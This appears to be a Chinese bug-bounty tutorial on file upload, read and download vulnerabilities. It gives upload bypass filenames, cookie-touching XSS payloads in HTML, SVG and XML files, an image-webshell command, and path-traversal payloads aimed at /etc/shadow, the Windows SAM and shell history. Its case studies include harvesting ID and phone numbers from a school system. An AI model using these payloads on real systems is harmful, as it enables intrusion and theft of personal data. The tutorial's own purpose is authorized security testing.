【SRC】基础思路篇8:文件操作漏洞挖掘完全指南

文章目录

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

前言

在SRC漏洞挖掘中,文件操作漏洞是常见的高危漏洞类型,包括文件上传、文件读取、文件下载等。一旦成功利用,攻击者可以获取敏感信息、执行恶意代码甚至完全控制服务器。本文将带你全面了解文件操作漏洞的测试思路、漏洞类型和实战技巧。


一、文件上传漏洞测试

1. 测试流程

基础测试步骤

  1. 定位上传功能:找到文件上传入口(头像上传、图片上传、附件上传等)
  2. 验证前端校验:尝试上传非允许类型文件,观察前端提示
  3. Burp绕过测试:使用Burp Suite拦截请求,修改文件名和类型
  4. 验证上传结果:查看上传后的文件路径,确认是否可访问

2. 常见绕过方法

双后缀绕过
复制代码
1.html.png  → 绕过前端校验
1.php.jpg   → 服务端可能解析为PHP

测试方法 :先构造1.html.png上传,拦截后删除.png后缀。

大小写绕过
复制代码
test.HTML
test.PhP
特殊字符绕过
复制代码
test.HTML<
test.HTML>
test.HTML/
双写后缀绕过
复制代码
test.pphphp
Windows特性绕过
复制代码
a.php.      → Windows会自动去掉末尾的点,变成a.php
a.php::$DATA → NTFS交换数据流

3. 文件内容构造

HTML文件(存储型XSS)
html 复制代码
<!DOCTYPE html>
<html>
<head><title>XSS测试</title></head>
<body>
    <script>alert("XSS测试")</script>
    <img src=x onerror=console.log(document.cookie) />
</body>
</html>
SVG文件(XSS+SSRF)
svg 复制代码
<svg width="300" height="200" xmlns="http://www.w3.org/2000/svg">
  <rect width="100%" height="100%" fill="lightgrey"/>
  <foreignObject x="10" y="10" width="280" height="180">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <script>alert(document.cookie)</script>
    </body>
  </foreignObject>
</svg>
XML文件(XSS)
xml 复制代码
<something:script xmlns:something="http://www.w3.org/1999/xhtml">
alert(document.cookie);
</something:script>
图片马(PHP)
bash 复制代码
# 将PHP代码嵌入图片中
copy a.jpg/b b.php > shell.php

PHP一句话木马

php 复制代码
<?php phpinfo();?>

4. 服务器配置漏洞

IIS解析漏洞
复制代码
文件名.<<<
文件名.>>>
# 写入到:文件名.php
FastCGI解析漏洞
复制代码
# 在浏览器中访问正常图片地址+1/php
http://example.com/upload/test.jpg/1.php
# 如果显示空白页面,表示解析了PHP
# 返回404则表示未开启
路径遍历结合上传
复制代码
# 如果存储地址URL有规律,测试上传后的路径遍历
http://example.com/upload/../../../../etc/passwd

5. 上传文件后续利用

测试场景

  • 上传exe、html文件后,路径可以直接下载
  • 说明可以钓鱼(图片内容可以是违法、造谣等)、XSS

JS代码找上传后地址

  • 上传后查看响应包,找到文件存储路径
  • 在JavaScript代码中查找文件URL

二、文件读取漏洞测试

1. 测试方法

基础测试步骤

  1. 定位下载功能:找到文件下载、查看、导出等功能
  2. 构造路径遍历Payload :尝试使用../..\
  3. 验证漏洞 :读取/etc/passwd/c:/windows/win.ini

2. 常用路径遍历Payload

Linux系统
复制代码
../../../../../etc/passwd
../../../../../etc/shadow
../../../../../root/.bash_history
../../../../../var/lib/mlocate/mlocate.db
../../../../../proc/self/environ
Windows系统
复制代码
../../../../../windows/win.ini
../../../../../windows/system32/config/sam
../../../../../Program Files/MySQL/my.ini

3. 高级绕过技巧

多层遍历混合
复制代码
/home/file/tmp/.././.././.././.././.././etc/./passwd
编码绕过
复制代码
..%2f..%2f..%2fetc%2fpasswd
..%5c..%5c..%5cwindows%5cwin.ini
Unicode编码绕过
复制代码
..\u002f..\u002fetc\u002fpasswd

4. 敏感文件读取清单

文件路径 用途 说明
/etc/passwd 系统用户信息 验证漏洞存在
/etc/shadow 用户密码哈希 弱密码可破解
/root/.bash_history 历史命令 可能包含敏感信息
/var/lib/mlocate/mlocate.db 文件索引数据库 批量获取文件路径
/proc/self/environ 进程环境变量 获取内网IP等信息
/etc/my.cnf MySQL配置 获取数据库密码
/etc/httpd/conf/httpd.conf Apache配置 服务器配置信息

三、文件下载漏洞测试

1. 测试场景

导出功能测试

测试方法

  • 观察导出功能的响应体
  • 查看响应文件内容
  • 修改请求体中的导出文件名称为../../../../etc/passwd
文件ID遍历

测试方法

  • 下载接口的文件ID是否可遍历
  • 如果ID不可遍历,尝试通过其他接口获取
系统通杀接口

测试方法

  • 同系统多学校/企业使用,接口可复用
  • 利用之前挖掘保留的接口获取文件ID

2. 测试Payload

基础路径遍历
复制代码
/download?file=../../../../etc/passwd
/download?id=1&path=../../../../etc/passwd
编码绕过
复制代码
/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

四、实战案例总结

案例1:某高校用电监管平台文件上传漏洞

发现过程

  1. 定位上传功能:登录系统找到图片上传业务模块
  2. 验证前端校验:仅校验e.type,可通过Burp绕过
  3. 构造恶意文件:创建HTML文件,包含XSS脚本和DNSLog回连
  4. Burp修改上传:构造payload_poc.htm.jpg,拦截后删除.jpg后缀
  5. 验证漏洞触发:访问上传后的HTM文件,脚本执行成功

关键技巧:前端校验不可信,必须在服务端实施强校验。

案例2:某高效任意文件读取漏洞

发现过程

  1. 定位下载功能点:找到系统的文件下载功能模块
  2. 构造路径遍历Payload:使用多层路径遍历和当前目录混合
  3. 验证漏洞有效性:成功读取到/etc/passwd文件内容
  4. 读取mlocate.db:获取系统的文件索引数据库
  5. 获取敏感信息:分析mlocate.db内容,获取500+身份证号、3000+手机号

关键技巧:mlocate.db是宝藏,读取文件索引数据库可批量获取文件路径。

案例3:某学校系统通杀任意文件下载漏洞

发现过程

  1. 注册账户:进入招聘网站,注册一个账户
  2. 观察数据包:发现下载接口,但ID不可遍历
  3. 利用系统通杀:同系统多学校使用,利用之前挖掘保留的接口获取文件ID
  4. 构造下载URL:拼接完整URL实现下载
  5. 获取敏感文件:成功下载用户上传的大量敏感信息

关键技巧:系统通杀思路,同系统多部署,接口可复用。


结语

文件操作漏洞是高危漏洞类型,掌握文件操作测试技巧对于SRC漏洞挖掘至关重要。记住:仔细测试每个上传/下载功能、灵活运用绕过技巧、关注敏感文件,这是发现文件操作漏洞的关键。

如果这篇文章对你有帮助,请点赞支持一下!有任何问题欢迎在评论区交流讨论。